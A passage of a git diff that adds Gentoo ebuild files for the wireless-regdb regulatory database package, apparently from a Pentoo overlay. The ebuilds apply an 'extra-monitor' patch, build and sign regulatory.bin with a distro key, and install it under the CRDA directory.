+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor-${PV}.patch
+}
+
+src_compile() {
+ emake install-distro-key || die "make install-distro-key failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/lib/crda/
+ doins regulatory.bin
+ doins custom-distro.key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild
new file mode 100644
index 00000000..c8060c71
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor-${PV}.patch
+}
+
+#TODO: add pentoo use flag to not patch the regdb, maybe adjust deps
+
+src_compile() {
+ emake install-distro-key || die "make install-distro-key failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/$(get_libdir)/crda/
+ doins regulatory.bin
+ doins *.key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild
new file mode 100644
index 00000000..9d8166d6
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor-${PV}.patch
+}
+
+#TODO: add pentoo use flag to not patch the regdb, maybe adjust deps
+
+src_compile() {
+ emake install-distro-key || die "make install-distro-key failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/$(get_libdir)/crda/
+ doins regulatory.bin
+ doins custom-distro.key.pub.pem
+}